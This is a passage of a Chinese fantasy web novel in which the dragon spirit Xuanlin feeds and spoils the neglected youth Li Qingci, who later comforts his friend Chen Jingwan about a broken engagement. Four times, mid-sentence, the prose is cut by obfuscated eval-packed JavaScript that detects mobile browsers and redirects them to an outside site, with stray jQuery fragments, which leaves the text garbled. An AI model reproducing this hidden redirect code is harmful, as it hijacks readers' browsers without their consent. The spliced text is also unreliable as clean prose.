因才学扎实,熟通州县赋税、律法被圣上赏识,钦点为状元,授翰林院修撰一职。 自此声名鹊起、风光无匹。 二十一岁,状元与其夫人诞下一子。 二十六岁,状元调任户部,任员外郎一职,同年,其夫人离世。 状元未再续娶,独自抚育幼子,侍奉寡母,此举颇受赞誉。 二十九岁,状元母亲去世,状元哀恸、悲泣,送母亲灵柩归乡与父合葬。 状元感念父亲早亡,想灵前尽孝,奈何己身要为国效忠,分身乏术,于是将长子留在故里,代父在祖父祖母灵前尽孝。 经此,状元声名愈隆,在朝中颇有佳名。 三十二岁,状元去寺里为父母祈福,偶遇吏部尚书幼女,此时,状元虽已过而立,但仍旧品貌不凡、容颜俊美,引得吏部尚书幼女倾心不已。 同年,状元续娶吏部尚书幼女,自此官运亨通,于三十七岁那年,升任户部左侍郎。 状元幼年丧父、家境贫寒,却志气长存,一路苦读、高中状元,为官后政绩斐然、清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514036|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正廉洁、勤政爱民。 对妻子忠贞,鳏居多年未曾续娶。 对父母纯孝。 对百姓爱护。 对圣上忠诚。 这样的人,确实值得被编进戏曲,受人传唱赞扬。 咿咿呀呀的戏腔在身后响起。 李青辞数着手里的银钱,想着带玄鳞干点什么。 “你娘什么时候死的?”玄鳞低头问他。 李青辞怔了怔,慢慢道:“我四岁那年。” 玄鳞哦了一声,语气随意:“那你比我强,还跟你娘见过面,按你之前的话说,我还没出生,我娘就死了。” “?”李青辞闻言错愕,世上怎么会有这样的事! 他惊讶道:“你母亲是生你的时候难产死的吗?” “当然不是。”玄鳞拧眉反驳,“我娘生完我,还活蹦乱跳的。” 他当时还是颗蛋,懵懵懂懂,隐约觉得他娘的气息非常活泼,很躁动。 应该是一条脾气不怎么好的蛟。 孵他的时候总是动来动去、骂骂咧咧的,经常用爪子拨弄他,拿他当珠子弹来弹去。 有时候,他咕噜咕噜滚出去好远,觉得自己都快被摇散架了。 不知道他在蛋里待了多久,总之破壳的时候,他娘不见了。 他承袭了他娘蛟龙的血脉,因此他一破壳就开了灵智,能够修行。 但是,他那时候太弱小了,很多妖想抓他吃了增进修为。 他一直拼命修炼,不知道过去多少年,他打听到,他娘是被人捉走炼丹了。 等他找到确切消息,捉他娘的那些凡人都变成了一个个土包,甚至有的变成了一片平地,被草木掩盖,踪迹全无。 李青辞张大嘴巴望着玄鳞,不知道他娘到底是怎么回事,可能妖就是这么神奇。 怕触及玄鳞的伤心事,他没再继续追问,转而问道:“那你爹呢?” 玄鳞眯了眯眼,随意道:“被我杀了。” “啊?”李青辞迷茫、惊愕。 接二连三的震惊,让他不知作何表情,也不知道该说什么。 “啊什么,把嘴合上,蠢死了。”玄鳞托住他的下巴往上抬。 李青辞抿了抿嘴,抓住玄鳞的手,干巴巴地安慰道:“杀了就杀了吧,也不是很重要,你爹应该不是好东西。” 玄鳞听完,笑了起来:“你也不蠢嘛,猜得挺准。” 他爹确实不是个好玩意儿。 他爹是一个快修成蛟的水虺,跟他娘交尾,就是春、情期顺应本能。 后来,他爹喜欢上一个凡人女子,想和那个女人长相厮守。 那女人也想长命百岁、青春永驻,于是俩人一拍即合,另找了方士联手。 想趁他娘孵蛋、身体虚弱的时候下手,夺取妖丹和精魄。 结果,他娘拉着所有人自爆了。 那女人直接被炸死了,那些方士死得死、伤得伤,他爹也被炸得半死不活。 后来,他找到他爹的时候,他爹正盘在一座坟前。 是那女人的坟。 他觉得,既然他爹这么喜欢那女人,就应该成全他。 所以,他把他爹杀了。 他爹的尸体太大,不好处理,就剁成小块扔进了一个深坑里。 那女人的尸骨被他挖出来扬了,随手洒在了一个臭水沟里。 18. 第 18 章 想起这些往事,玄鳞已经没什么情绪。 因为时间过去太久了。 相关的人和妖都死了,尸骨都沤成了一滩烂泥。 “玄鳞……“李青辞抓着他的手,企图说些什么开解他,毕竟,对于人来说,弑父真的是一件惊世骇俗的事情。 “嗯,怎么了?”玄鳞挑眉笑着,抽出手在他脑门弹了一下。 语气轻松、随意,神情自在、闲适。 “没什么。”李青辞朝他笑了笑,“你想下馆子吗?听说城里的聚仙酒楼口碑很好,据说里面的菜都很好吃。” 听说,据说。 玄鳞垂眼瞥他:“你没去吃过?” 李青辞点头,坦诚道:“吃不起,听说最便宜的一道菜就要一钱银子。” 玄鳞闻言纳罕,他刚才听戏的时候虽然跑神了,但最后也听明白了,小崽子他爹当了大官,那为什么小崽子还过得这么可怜。 喜欢的东西都买不起,只能眼巴巴看着。 “就你那抠搜的爹不认也罢。”玄鳞又扔给李青辞俩金珠,摸着他的脑袋说,“你不如认我当爹,我大方,有的是金子给你花。” 李青辞:“……” 他挥开脑袋上的大手,默默翻白眼:“你当不了我爹,你太年轻,最多能当我哥哥。” “只是皮相看着年轻。“玄鳞双手抱臂,挑眉道,“我的岁数,当你往上数八代的祖宗都有富余。” 李青辞听完,盯着他的脸打量,迟疑地问:“所以,你其实是个老人吗?” “什么老人,你瞎说什么!”玄鳞听得直皱眉,“我这一脉寿命很长的,按你们人来说,我才刚成年不久,离老还远着呢。” 蛟的生命很漫长,他以后还要化龙的,要活很久很久才会老去。 李青辞哦了一声:“我还有不到四年弱冠,跟你没差几岁,三四岁的人本身就是孩童,生不出孩子,所以,你当不了我爹。” “你小子,绕我是吧!”玄鳞抬脚踹了他一下,“小嘴就会巴巴!” “不只会巴巴,还会吃。”他转过头,见身后没有脚印,便捋了捋袖子,朝玄鳞笑了笑,“走吧,我们去下馆子。” 玄鳞啧了一声,提步跟上。 这小崽子,越来越蹬鼻子上脸了。 俩人来到聚仙楼二楼的雅间里,李青辞看着墙上挂的挑牌,犹豫点什么菜。 玄鳞径自坐下,往后一仰,指着墙大手一挥,对伙计说:“全点了。” “咣当”一声! 一个金蛋砸在桌子上。 李青辞和伙计同时惊住了,都齐刷刷看着他。 玄鳞不禁蹙眉:“愣着干什么,快点上菜。” “啊?啊!!!”伙计回过神,快步走到桌前,拿起那枚鸡蛋大小的金蛋,大喜道,“贵客稍等,小的先给您上壶好茶,马上就给您传菜!” 见伙计要走,李青辞急忙上前去拦他。 “李青辞!” 玄鳞伸手点了点旁边的椅子,冷声道,“过来!” 伙计见状,赶紧冲着李青辞笑说:“贵客您先坐,菜稍后就上。” 说完,他立刻推开门溜了,唯恐房里的客人后悔。 李青辞看着合上的房门叹了口气,慢慢朝玄鳞走过去,心里有了不好的猜测,探询道:“你不会之前都是这么点菜吧?” 玄鳞闻言挑眉:“怎么,有问题吗?” “……没有。”李青辞麻木了,他低头搓了搓脸,喃喃问道,“你让他们找过钱吗?” “没有。”玄鳞语气很干脆。 李青辞:“……” 他突然想起玄鳞之前说过的话,猛地转头看他:“你之前买鸡蛋也是用金蛋换的吗?” “不是。”玄鳞摇头。 李青辞缓缓松了口气,那就好。 紧接着他就听见玄鳞说:“是用你手里的小珠子换的。” “啊!”李青辞猛地伸手捂住脸,哀声道,“天呐!” “别瞎叫唤!”玄鳞抬手在他脑后扇了一巴掌。 片刻后。 伙计端着菜进来:“先给二位贵客上四道开胃凉菜!” 李青辞撑脸坐着,双眼无神。 玄鳞看他,下巴轻点:“吃。” “好。”李青辞眼睛恢复了神采,他拿起筷子,夹了一片凉拌莴苣,口感清脆爽口。 “好吃。”他朝玄鳞笑了笑,“你尝尝。” 玄鳞坐着没动:“你自己吃吧。” “哦。”李青辞眼中的喜悦淡去些许,声音也低了下去。 他转过头,看向那盘凉拌蕨菜,伸手去夹。 这时,一只大手越过他夹起了蕨菜,他的视线随着收回的手臂落在玄鳞脸上。 他往前凑了凑,好奇道:“怎么样,好吃吗?” “一般。”玄鳞皱着眉,稍微咀嚼两口就吞下去了。 “是吗?我尝尝……唔,有些苦。”李青辞端起茶杯喝了口水。 接下来的一个半时辰,不停有新菜端上来,房里的桌子已经摆不下了,伙计又搬来了两张小桌子。 即使一道菜就尝两口,李青辞也已经撑得不行了。 他握着筷子,看着满屋子的饭,感觉头都大了。 “玄鳞,怎么办呀?” 玄鳞言简意赅:“继续吃。” 李青辞闻言一顿,深深叹了口气,低声道:“……不行,真吃不下了。” 玄鳞喝了口茶,压下嘴里的甜味儿,见他捂着肚子,一副吃撑的样子,便开口道:“那就别吃了,走。” 李青辞舍不得:“可是,这还剩好多,感觉好可惜。” 玄鳞啧了一声,站起来抬了抬手,顿时,桌上所有的饭菜一扫而空,只剩干干净净的盘子。 李青辞不可置信地揉了揉眼,惊愕道:“去哪了?” “收起来了,既然你这么舍不得,明天你继续吃。”玄鳞朝他招手,“走了。” 李青辞内心惊讶不减,他还是第一次见玄鳞当着他的面使用法术。 真的好神奇啊! 他走到玄鳞近前,上上下下地打量他,凑到他腰间摸了摸。 很平坦。 不像是能装下这么多东西的地方。 又绕到玄鳞身后,在他后背摸索,正摸着,他突然被拎起来了。 “俩脏爪子,瞎摸什么!”玄鳞将他拎到身前,看着他皱眉。 他晃悠两下悬空的腿,提起嘴角笑着:“我想看看你藏哪了。” “收起你的好奇心,少打听!”玄鳞把他放下了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514037|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他哦了一声,摸着自己鼓胀的肚子,跟在玄鳞身边下楼。 来到楼下柜台,他将找回来的碎银子塞进衣衫的内袋里。 俩人朝外走。 李青辞不知道去哪,玄鳞没有想去的。 但俩人很神奇地一直往前走,漫无目的地闲逛。 李青辞喘着气,扯了扯玄鳞的袖子,玄鳞放慢了步调。 直到太阳偏西,空气中泛着凉意。 李青辞快走一步,伸手抱住玄鳞的手臂,将身体重量都压在他身上,有气无力道:“不走了,好累,我想坐下歇会。” 此时,刚好走到河边,俩人坐在离河水不远的石阶上。 李青辞单手撑住脸,看着潺潺流动的河水,没一会儿就闭上眼睛睡着了。 他双手环抱着腿,脑袋搭在膝盖上,露出来的小半张脸朝着男人。 玄鳞侧目扫了他一眼,然后也闭上了眼睛。 河水被夕阳染红,然后渐渐黯淡,最后映出两岸的灯火。 此时,晚风拂过。 李青辞被脸上的搔痒弄醒了,他捋起颊边的头发,痛苦地嘶了一声。 脖子好疼!胳膊好疼!他慢慢活动手脚。 “啊!”忍不住又痛呼出声。 腿疼!屁股疼!全身都疼! “你呲牙咧嘴干什么呢!”玄鳞睁眼看他。 李青辞一手揉脖子,一手揉屁股,叹气道:“坐太久了,身上不舒服。” 玄鳞理解不了,觉得人真娇气。 “走,送你回家。”他站起来,朝李青辞招手。 李青辞点头:“好。” 俩人朝城外走去,此时,天色完全暗了下来,无星无月,好在,城中的主路上交错亮着灯火。 等出了城门,放眼望去,一片漆黑,分不清哪是路,哪是田地。 李青辞立刻凑到玄鳞身边,紧紧攥着他的袖子,期待地问:“玄鳞,你应该能看清路吧?” 玄鳞懒懒地哼了一声,俯身把人抱起来。 这次玄鳞没让李青辞闭眼,李青辞睁大眼睛想看看,结果乌漆嘛黑,什么也看不见,就知道速度很快,风很大,吹得他脸都僵了。 等到了家门口,李青辞踩在地上差点没站稳,他哆嗦着去搓自己冰凉的脸。 “你抖什么?”玄鳞扯着他的胳膊把人扶稳。 “冷……冷的……哈啾…哈啾……”李青辞连打了两个喷嚏,泪花都出来了。 玄鳞低头去摸他的脸。 冰凉。 不由得啧了一声,这人也太娇嫩了些,吹两下风就冷成这样。 他抬手抵在李青辞后背。 大掌甫一贴在背上,李青辞顿时感觉暖和起来,玄鳞的手就像是暖炉一样,把他全身都烘热了,但是又没有火焰炙烤的感觉,而是像是泡在温水里一样。 他背过去摸玄鳞的手,却发现散发热意的手竟然是温凉的。 好神奇啊! 他仰头看着玄鳞:“哇,你好厉害啊!我现在感觉好暖和,一点都不冷了。” “行了,进去吧。”玄鳞撤回手。 李青辞抓住他的手不放,拉着他往大门口走:“你进来,我想给你看个东西。” 玄鳞皱起眉头,顿了顿,还是抬脚踏进了大门。 19. 第 19 章 李青辞拉着玄鳞,兴冲冲地往自己院子里去,脚步很急切,一边走还一边催促:“玄鳞,你走快点。” 玄鳞闭了闭眼,深吸一口气,迈开步子。 房门口亮着几盏灯笼,隐约能照亮院子。 “你看!”李青辞拉着玄鳞走到东南角,指着地上的小树苗,开心道,“这是你给我的果子,我挑了一个最大的果核埋在这里,结果它真的发芽了,现在比我的胳膊还长。” 玄鳞闻言,低头扫过去,看见一个细杆子顶着两三片稀稀拉拉的小叶子,实在不明白李青辞开心的地方在哪。 他敷衍地嗯了一声。 李青辞抬头看他,期待问道:“这个要多久能长大结果啊?” 玄鳞拧眉回想,这棵树长在深涧边上,他有次路过那里,觉得地方不错,便留在那睡了一觉。 睡之前,那棵树还没他腰高,也就手指头粗细,睡醒后,这个树已经长得比李青辞还粗了,枝头结满了果子,也就他睡一觉的功夫。 “很快,用不了多久。”玄鳞这样回他。 李青辞听完很开心,那岂不是他很快就能有果子吃了。 “等结果了,你记得过来吃。” 玄鳞哼笑道:“你自己吃吧,又不是什么好东西。” 李青辞斜眼看他,不赞同道:“玄鳞,你这样说话有点难听。” “闭嘴。”玄鳞抬手在他后脑勺扇了一巴掌。 李青辞垂下眼睛,哦了一声。 他转身朝着自己房门走去,另一只手攥着玄鳞的袖子,对他道:“你来都来了,进来坐坐吧。” 玄鳞看着自己被抓皱的袖子,不禁问道:“李青辞,你是蛇吗?” “啊?不是。”李青辞扭头看他,“我是人。” 玄鳞抽出袖子,冷笑一声:“这么会顺杆往上爬,做人可惜了。” 李青辞这才听出来玄鳞是在挖苦他,他抿抿嘴,没吭声。 玄鳞走上前睨他一眼,然后越过他,抬脚跨进房里。 李青辞缀在后面,低头笑了笑,俯身点亮灯火。 玄鳞径直走向里间,随意扫了一眼,皱眉道:“你就住在这巴掌大点的地方?” 李青辞闻言一愣,他觉得这房子很大啊,比他在京城住的屋子都大。 京城寸土寸金,当时他爹官位不高,俸禄微薄,是他外祖家出的钱,才在京城买了一座二进的院子。 眼下他住的这个院子是祖宅,虽然也是二进的院子,但是他爹花了一番心思修缮,建得比一般房屋宽阔许多。 上面没有长辈,所以他住的正房,就他一个人住,觉得挺大的。 想了想,他走到玄鳞身前,抬起右手,张开五指在他眼前晃了晃:“看,比巴掌要大很多很多。” “……”玄鳞深吸一口气,耐着火气道,“你是不是欠收拾!” 李青辞立刻缩手,朝他笑了笑,将他拉到书桌前,讨好道:“你坐,我给你倒水。” “不喝!”玄鳞冷哼一声。 “哦,好吧,不过我有点渴了。”李青辞走过去倒水喝,水放了一天,很凉,咽下去的时候,凉意一路蔓延到胃里。 喝了半杯,稍微不那么渴了,他便放下杯子。 玄鳞掏出李青辞今日借的书扔在桌上,还有他没吃完的炒货、从戏园子里装走的点心和瓜果,鸡零狗碎的。 李青辞一回头,就见书桌上摆了一堆东西,他赶紧走过去收拾。 突然,屋里响起“砰”的一声闷响。 李青辞抬眼去看,就见他桌子上放着一枚金灿灿的金蛋。 走过去拿起金蛋,摸了摸自己的桌面,还好,没砸出坑。 掏出内袋里的小金珠和碎银搁在桌上,他走到床边,钻进床底,挪开那块砖,拿出一个木盒。 玄鳞看着他露在外面的脚丫子直皱眉,忍不住道:“你是老鼠吗?还钻床底打洞!” “……不是。”李青辞声音发闷,他握着木盒,一点点从床底退出来,爬起来拍了拍身上的土印,“这是我的钱盒子,放在那里安全。” 床底下的空间并不富裕,这座院子除了他,其他人的身形都钻不进去。 李青辞走到桌前站定,打开盒子,先把金珠和碎银放进去,轮到那枚金蛋时,果不其然卡住了。 他的木盒窄而长,是他娘以前放簪子的,往里头搁点碎银、铜板还行。 “放不进去。”他拿起金蛋放到玄鳞身前,“你收回去吧。” 玄鳞抬眼看着他,没作声。 巢穴是蛟最安全、最放心的地方。 这里是李青辞的巢穴,但是他在自己的巢穴里却遮遮掩掩、躲躲藏藏,一副很不安心的样子。 玄鳞拿走金蛋,同时开口:“闭眼,伸手。” 李青辞愣了愣,很快照做。 刚闭眼,就手心一沉,持续有东西砸进手心,耳边一直响着噗哒噗哒的声音。 李青辞猜出是什么了,他连忙开口:“够了够了!” 噗哒声停了。 李青辞睁开眼,就见黄豆大小的金珠填满了他整个手心。 金珠颗颗圆润饱满,散发着灿烂的光泽。 李青辞看着手心,喃喃道:“我现在好有钱啊……” 玄鳞见他那样儿,偏过头,忍不住笑了一声。 李青辞捧着手,小心翼翼地把金珠倒进木盒里,直到木盒被填满,还多出十几个。 玄鳞对他道:“给我。” 李青辞愣了愣,然后将多出的金豆放进他手心里。 就见他从头上随意拔了根头发,捏着一颗金豆轻而易举地串在了头发上,玄鳞手上的动作很快,清脆的撞击声噼里啪啦。 李青辞凑近去瞧,刚绕过桌子走到玄鳞身边,就被他扯住手臂。 玄鳞将那串金豆套在李青辞左腕上:“别人撸不走,想花钱就抠下来一颗。” 李青辞将左手举到眼前,摸着腕上的珠串,问道:“可是,拿下来一颗,头发不就断了吗?” 玄鳞道:“不会。” 李青辞闻言,试探地捏住一颗金豆往外摘,感觉有一点点阻力,他加大力道,然后那颗金豆就脱离珠串被单独捏在手上。 他看着空出一颗位置的珠串,连忙放回珠子,可怎么试都放不回去,便向玄鳞求救:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514038|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能放回去吗?” 玄鳞瞥他一眼,眼神似有不耐:“过来!” 他赶紧把手腕伸到玄鳞眼前,连同珠子一块递给他。 玄鳞捏着金豆往腕上一按,珠串立刻恢复了圆满。 李青辞举手至眼前,右手分开两颗金豆,露出中间一点空隙,窥见一截黑色的头发。 好神奇的头发! 李青辞捻了捻手指,看着玄鳞,期待地问:“玄鳞,我能摸摸你——” “滚。”玄鳞冷脸打断他。 “哦。”李青辞没滚,盯着男人的头发问,“你以后掉的头发能不能给我留着?我想要。” 玄鳞抬眼看他:“你想不想挨揍?” 好没有新意的威胁,李青辞顿了顿,笑着说:“玄鳞,你渴不渴?我给你倒水。” “起开。”玄鳞站起来把人推开,抬脚往外走,“我走了。” 李青辞愣了一下,正想说我送你,忽然听见了秦翠英的声音。 “少爷,吃饭了。” 李青辞立刻抬头去看玄鳞,就见玄鳞步履不停,径直越过秦翠英朝外走去。 而站在门口的秦翠英就跟没看见他一样,端着托盘往里面看。 李青辞看着男人消失的地方,开口道:“进来。” 秦翠英走进外间,放下饭菜。 这时,已经回到水潭的玄鳞,想起自己刚才往托盘上扫的那一眼。 两个灰不拉几的馒头,一碟子煮过头的绿叶子,一碗浑浊的水。 不,应该是汤。 怪不得小崽子这么瘦弱,天天吃这种东西,能长肉就邪门了。 而李青辞对这些饭菜从未有过微词,给什么吃什么。 因为弱小的人是没有资格提要求的。 尤其是自己的小命还被人捏在手里,如果任性非要反抗,那就是以卵击石,会被撞得头破血流,多吃很多苦头。 下半晌走了好久,又睡了一觉,眼下,李青辞有些饿了,他坐着桌前,拿着馒头慢慢咬着。 中午吃的是酒楼的美味珍馐,现在却只能吃简陋寒酸的饭菜。 但李青辞神色并未有嫌弃,他依旧吃得认真、仔细。 他边吃边想,今天的菜,盐又放多了。 慢慢的,他的思绪越来越发散,想着他老的时候,会不会跟刘正兴和秦翠英一样口味变重,一顿饭要吃很多盐。 思绪忽然断了,李青辞被迫回神,即使已经嚼得很细,馒头还是有些噎人,他端起汤打算顺一顺。 低头时,忽然看见桌上多出一片荷叶,上面放着两个冒着热气的红烧狮子头。 这是中午吃剩下的。 紧接着,桌上又多出少了一只腿的烧鸡,少的那只鸡腿被他中午吃了。 李青辞猛地抬头,就见玄鳞站在桌前,正低头看他。 此时,窗外吹进来一缕晚风,桌角油灯的火苗忽闪忽闪,像是谁的心在扑通扑通。 李青辞睁大眼睛,怔怔地看着玄鳞。 “吃这些。”玄鳞只留下这句话,然后就消失了。 李青辞望着空无一人的门口,放下馒头,慢慢捂住心口。 20. 第 20 章 桌上升起一缕热气,香味萦绕在鼻尖。 李青辞拿起筷子戳进一颗狮子头里,举到嘴边咬下一口。 等吃完饭,李青辞在屋里慢慢踱步。 他又吃撑了。 这些时日他总是吃撑,一圈圈走着,他来到墙边,在自己额前的墙皮上划出一道横线。 走了片刻,屋外响起脚步声,是秦翠英来收餐盘。 她看着桌上的烧鸡惊讶不已,咽了咽口水,问道:“少爷,烧鸡你明早吃吗?我给你热热。” 李青辞对她道:“你拿走吧,我不吃了。” 秦翠英揪着袖子愣住了,眼睛直直盯着那只基本没怎么动过的烧鸡,好一会儿,她嗳了一声,“谢谢少爷!” 李青辞嗯了一声,开口道:“近三天,不用准备我的饭了,多出的东西你拿走吧。” 秦翠英听完一愣,想问问怎么回事,不吃饭怎么行,但是瞥见自己袖子上沾染的污渍,顿时闭严了嘴。 她只是被雇来做饭的,主人家的事轮不到她多话。 “知道了,少爷。”秦翠英端着托盘离开了,临走时不忘将门轻轻带上。 李青辞从里间出来,看着被关上的房门,走过去把窗户合上。 他自从来到这里,院子里来来去去换了好几个厨子。 每个厨子都不约而同地克扣他的伙食,秦翠英也不例外。 但只有秦翠英给他做的馒头掺杂白面最多,菜洗得最干净,他从未在菜里吃到过泥沙。 秦翠英每次送饭只停留在外间,不像以前那些人,总有意无意地向里间打量,想着能从他这里拿走什么值钱东西。 秦翠英从不多话,来去都很安静。 他喜欢这种安静。 又走了一会儿消食,仔细净过手,李青辞来到桌前看书,他摸着腕上的珠串,想着,他以后十年都不愁借书的钱了,而且,他可以挑一些喜欢的买回来。 想到这,他提起嘴角笑了笑,能拥有的感觉真好。 一晃,已到深夜。 李青辞简单洗漱后,上床睡觉。 临睡前,他想起了那道红烧肘子,心想,明天要早起一些去见玄鳞。 翌日清晨。 路上起风了,李青辞拢了拢衣襟,手缩进袖子里。 抬脚往山上走,山间的小路上落着纷杂的枯叶,踩上去嘎吱作响。 越靠近水潭,空气越湿润。 今日是阴天,太阳没出来,水潭边缭绕着一层薄薄的雾气。 李青辞吸了吸鼻子,一股凉气直入肺腑,鼻腔里异常湿润。 他走到水潭边,伸手搅了搅水,冷冽的潭水沾湿了他一截衣袖,冻得他直缩手。 “玄鳞。”他轻声喊了一句。 话音落地,水底涌上来一长串水泡。 李青辞眨了眨眼,探出身想看个究竟。 突然,脑后被人拍了一掌。 “瞅什么呢,也不怕一脑袋栽进去!”是玄鳞的声音。 李青辞回过头,朝他报以一笑:“在看你,而且栽进去也没关系,我会凫水。” 玄鳞扯着李青辞的衣领把人薅过来,训斥道:“以后离水远点!水里淹死的都是些自信满满会凫水的人。” “哦,知道了。”李青辞乖乖应了一声,心想,玄鳞天天待在水里,他应该水性很好吧。 玄鳞在身上摸了摸,掏出几盘菜搁在石头上,对李青辞道:“你的饭,吃。” 听见声音,李青辞回过神,走到石头前盘腿坐下吃饭。 饭菜都是热腾腾的,他吃到一半,就感觉身上暖和起来了。 玄鳞躺在他身边的大石头上闭目养神,他扭头看了一眼,然后继续捧着绿色的筒子喝莲藕汤。 酒楼里的饭菜,他一连吃了三天才吃完。 接下来的时日,他经常在山上加餐,依旧是玄鳞弄的各种肉食。 偶尔,他们会去城里下馆子,总是他吃得多,玄鳞很少动筷,基本尝一口就停了。 这天清晨,李青辞照例去山上。 忽然,他在山脚看见一个人影,隔着远远的距离看不真切,走近一些,发现这人是陈静婉。 他快步走过去,轻声喊她:“静婉,你怎么自己在这?” 陈静婉回过头,很快,她又转回去了。 隔了好几息,她才彻底转过身面朝李青辞挥手:“我来捡柴,倒是你,一大早的,你怎么在这?” 李青辞回她:“我有一个朋友在山上,我去找他。” 陈静婉闻言皱眉,李青辞从小就不多话,经常闷在屋里不出门,也就这两年出门多了些,而且,他什么时候多出这么一个朋友。 她不解,连连追问:“你什么时候交的朋友?是咱们这的人吗?你这朋友住在山上吗?” 李青辞道:“认识有一段时间了,不是我们这的人。” 顿了顿,他又道:“因为一些缘故,所以他暂时在山上逗留。” 陈静婉狐疑地看着他,山上什么时候多出这么一个人,她怎么没听别人谈起过。 想了想,她凑近李青辞身边,严肃道:“青辞,你多留个心眼,别被人忽悠了。” 李青辞朝她笑了笑:“好,我知道了。” 忽然,陈静婉惊讶喊道:“青辞,你什么时候长这么高了?” 她抬头,伸手在李青辞脑袋上比划。 这回不是错觉,李青辞是真真切切比她高了。 李青辞闻言,摸着鼻子笑了起来。 前两天,玄鳞抱他回家,落地的时候,他发现自己已经快到玄鳞的肩膀了。 “青辞,你干什么了?突然蹿出这么一截!”陈静婉惊奇地发问。 李青辞想了想,答道:“可能最近吃的肉多,又天天上山。” 陈静婉啧啧叹道,在他肩上拍了拍:“不错不错,多多吃肉,快快长个!” 李青辞点点头,视线落在她微微红肿的眼睛上,直接问道:“静婉,你为什么哭?” 陈静婉闻言一愣,有些慌乱地侧过头,避开李青辞的视线。 “没有哭,你看错了,今早眼睛不舒服,揉狠了。” “是因为水谚吗?”李青辞看着她轻声询问,抽出她手里的枯树枝,“他这次没和你一块捡柴。” 陈静婉低头没作声。 李青辞耐心等着。 半晌,陈静婉开口了,声音带着哭腔:“青辞,我跟水谚可能成不了亲了。” “为什么?”李青辞诧异,他在身上摸索,没找到能擦眼泪的东西。 陈静婉哭了起来,没回答他的问题。 李青辞稍稍低头看着她:“静婉,你身上带帕子了吗?拿出来给自己擦擦眼泪。” 陈静婉闻言一愣,惊讶地都忘记哭了,她伸手捶了李青辞一下:“哪有你这样安慰人的!” 李青辞微微笑了一瞬,没说话。 陈静婉吸了下鼻子,用手背抹了把脸:“算了,也没什么好哭的,不值当。” 李青辞嗯了一声,并未接话。 陈静婉抖了抖裙摆,盘腿坐在地上: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514039|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “三天前,秋闱放榜,韩水谚他哥考中了举人。” “嗯。”李青辞应了一声,在她对面坐下来。 陈静婉继续道:“昨天,他们家摆宴席,我爹娘去贺喜,韩水谚他爹当着很多人的面挖苦我爹,说了很多难听话,言语间对我也不满意,我爹一气之下跟他打起来了,回到家后,我爹气得晚饭都没吃。” 李青辞静静听着,听完眼中并未有惊讶之色,而是淡淡的平静。 陈静婉现在的处境,跟他娘当初何其相像,不过幸运的是,静婉还没嫁进韩家。 李青辞问她:“水谚什么态度?” 陈静婉从地上揪起一根草,一点点掐断,低声道:“我不知道,昨天我爹回家后不久,他来我家敲门,我爹没让他进来,也不让我出去见他。” 李青辞闻言顿了顿,温声道:“你先等等,等事情明朗。” 陈静婉抹了把眼睛,声音又哽咽起来:“可是,早起我听见我爹娘说,吃完饭就要去韩家退亲。” 李青辞抿了抿嘴,也不知道该说什么,见她穿着单薄的衣裙,近前的地上还存着一块白霜,便开口道:“先起来吧,地上凉。” 陈静婉嗯了一声,抹干眼泪从地上起来。 李青辞道:“别哭了,我们去捡柴吧,我知道有片地方枯树枝很多。” “行吧。”被李青辞这么一打岔,陈静婉也哭不起来了。 俩人一起朝山里走,途中,李青辞脱下身上的外衫递给陈静婉。 陈静婉一愣,摆手道:“不用,你自己穿吧,秋冬你总得风寒,记得多穿点。” “你穿,我不冷。”李青辞笑道,“我现在身体好了很多,应该不会频繁得风寒了。” 陈静婉闻言,偏头看他。 李青辞不止长高了,也胖了不少。 面色红润,身形挺直,步伐轻盈、矫健,看着很精神。 “有句话怎么说来着。”陈静婉接过衣服穿上,皱着眉头回想,突然哦了一声,“士别三日,当刮目相看,你小子真是长大了!” 李青辞笑着嗯了一声,弯腰捡起一根枯树枝。 没过多久,俩人来到一片小山坡,地上堆满枯枝落叶。 陈静婉从腰间解下几根麻绳铺在地上,看着李青辞笑了起来:“青辞,你真是找了个好地方,这下不用满山转悠,一趟齐活了!” 李青辞捡起树枝搁在麻绳中间,对她道:“我还知道个地方,明天我们去那儿捡柴。” “好!”陈静婉笑声欢快。 